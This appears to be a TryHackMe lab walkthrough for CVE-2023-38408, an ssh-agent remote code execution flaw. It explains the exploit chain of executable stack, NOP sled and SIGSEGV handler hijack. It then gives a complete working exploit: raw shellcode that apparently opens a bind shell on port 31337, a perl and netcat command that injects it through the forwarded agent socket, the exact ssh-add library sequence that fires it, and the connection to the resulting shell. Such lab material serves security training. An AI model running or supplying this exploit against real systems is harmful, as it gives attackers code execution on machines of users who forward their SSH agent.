CVE-2023-38408

Room Link: https://tryhackme.com/r/room/cve202338408

Background Info

Initially, ssh-agent allowed loading any shared library without filtering, leading to security concerns. In response to CVE-2016-10009, an allow-list (/usr/lib*/,/usr/local/lib/ by default) was added to limit library loading. However, it is possible to abuse the side effects of the library's constructors (dlopen) and destructors (dlclose) to manipulate memory and control the program flow.

Code execution can be achieved by making the stack executable, registering a signal handler for SIGSEGV and manipulating its code, replacing the signal handler's code with code from another library, triggering a SIGSEGV, and replacing his handler's code to finally jump into the stack where the shellcode is stored.

The following paragraphs will present the detailed steps:

1. Making the Stack Executable:

Leveraging dlopen() to load one of the libraries grants the ability to make the stack memory region (specifically the target process ssh-pkcs11-helper's stack) executable. This allows bypassing the usual protection against executing code on the stack.

2. Copy the shellcode to the stack:

Once the shellcode is generated, typically using tools like Metasploit, it can be copied to the stack memory using the socket generated from the SSH connection. The shellcode is also combined with a NOP sled which is a sequence of No-Operation assembly instructions. The reason why is to provide a larger target for the program execution flow to land on during the gadget execution.

To verify whether the process has the desired executable flag, you can use the following commands in dbg, a Linux debugger. You can repeat the next few gdb commands once you have gained access as alice:

First, obtain the PID of the process ssh-pkcs11-helper.

  1. Attach dbg to the target process using its PID.

  2. Use the command info proc mapping to examine the memory mappings of the process.

  3. Look for the memory region corresponding to the stack, and check its flags, marked as rwx.

Terminal

alice@workstation:~$ ps -aux | grep pkcs11-helperalice
1522 0.0 0.2 7788 5520 ? S 09:22 0:00 /usr/lib/openssh/ssh-pkcs11-helper
alice@workstation:~$ sudo gdb -p 1522
[snip]
29 ../sysdeps/unix/sysv/linux/poll.c: No such file or directory. (gdb) info proc mappings process 1522 Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
[snip]
0x7ffc7a83b000 0x7ffc7a85c000 0x21000 0x0 rwxp
[stack]
0x7ffc7a9df000 0x7ffc7a9e3000 0x4000 0x0 r--p
[vvar]
0x7ffc7a9e3000 0x7ffc7a9e5000 0x2000 0x0 r-xp
[vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 --xp 
[snip]

Using gdb, you can verify whether the stack has the shellcode loaded by inspecting its content.

Regarding the command $rsp+10100, it is an expression that references a specific memory location relative to the stack pointer ($rsp). In this case, $rsp+10100 points to the memory location located 10100 bytes above the stack pointer.

Observe that it contains a series of NOP (No Operation) instructions followed by the start of the shellcode: 0x31 0xc0 0x48 0x31 0xc0 0xff 0x48

Terminal

(gdb) x/100xgb $rsp+10100
0x7ffc7a85994c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a859954: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a85995c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a859964: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a85996c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a859974: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a85997c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a859984: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a85998c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a859994: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a85999c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7ffc7a8599a4: 0x90 0x90 0x90 0x90 0x90 0x48 0x31 0xc0
0x7ffc7a8599ac: 0x48 0x31 0xff 0x48

3. Registering a Signal Handler:

To successfully execute arbitrary code within the exploit, a custom signal handler must be registered for the SIGSEGV signal. This signal, known as a Segmentation Fault, is triggered when a program attempts to access an invalid memory address. By registering the signal handler, the exploit gains the ability to define a user-defined function that will be executed whenever the SIGSEGV signal occurs.

4. Replacing the Signal Handler's Code:

At this stage, the exploit leverages the technique of side-loading another library to replace the current signal handler's code with an alternative code segment that will jump to the stack where the shellcode is stored.

To ensure that the code segments of this new library remain mapped in memory even after dlclose() is invoked, the library must be marked with the "Nodelete" attribute. Ordinarily, when dlclose() is called to close a shared library, the library's code segments are unloaded from memory, and any associated resources are released. However, by utilizing the "Nodelete" attribute, the attacker prevents the code segments from being unloaded, effectively preserving their existence in memory beyond the dlclose() operation. This ensures that the replacement code, responsible for jumping to the shellcode in the stack, remains accessible and functional throughout the exploit's execution.

5. Triggering SIGSEGV:

By employing yet another library, the attacker intentionally triggers a SIGSEGV signal, which prompts the kernel to execute the custom signal handler previously registered. This strategic step is a critical part of the exploit's progression.

Upon receiving the SIGSEGV signal, the kernel recognizes that an invalid memory access has occurred and proceeds to invoke the custom signal handler rather than terminate the program abruptly. By doing so, the attacker seizes the opportunity to manipulate the program's execution and steer it toward the injected malicious code located within the NOP sled.

6. Executing the Replacement Code:

By achieving this precise jump into the executable stack, the exploit ensures that the program's execution is directed toward the specific memory location where the shellcode resides.

Exploitation

In this task, we will delve into running the exploit and gaining a more practical understanding of its functionality.

For this particular scenario, we will be working with two machines: the workstation (a vulnerable instance of Ubuntu 21.04) and another server which is under the attacker's control (Attackbox). To simulate the vulnerable instance, a connection between the workstation and the server has been employed in the previous task. There is a user alice who is connected from the workstation to the attacker using SSH agent forwarding. Alice does this by executing the following commands (so you do not have to):

Kali

echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-m0jgGsq7Jm/agent.3921
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

To copy the shellcode into the process using the SSH socket, you need to follow these steps:

  1. Obtain the PID of the SSH agent running on the remote attacker machine.

  2. Once you have the socket, use netcat (nc) to transfer the shellcode to the agent's memory (workstation).

  3. After starting the transfer, wait for a few seconds to ensure the shellcode is fully copied into the target memory.

  4. Finally, press Ctrl-C to stop the netcat transfer once the shellcode is successfully placed in the agent's memory.

Note that the next command will not use ssh-add. Because the malicious payload is around 10KB passphrase and ssh-add has a limit of 1KB.

Kali

SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05' 


(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

^C

The next step to the exploitation process is register the signal handler for the Segmentation Fault (SIGSEGV) signal.

Kali

ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so

After successfully registering the custom signal handler for SIGSEGV, the next crucial step in the exploitation process is to replace the original signal handler routine with a carefully chosen gadget. This gadget will serve as a means to redirect the program's execution flow and jump into the stack when the SIGSEGV signal is triggered.

Kali

ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0

Finally, by intentionally causing a segmentation fault, the SIGSEGV event can be triggered, executing the shellcode:

Kali

ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0

Victim

nc localhost 31337

Last updated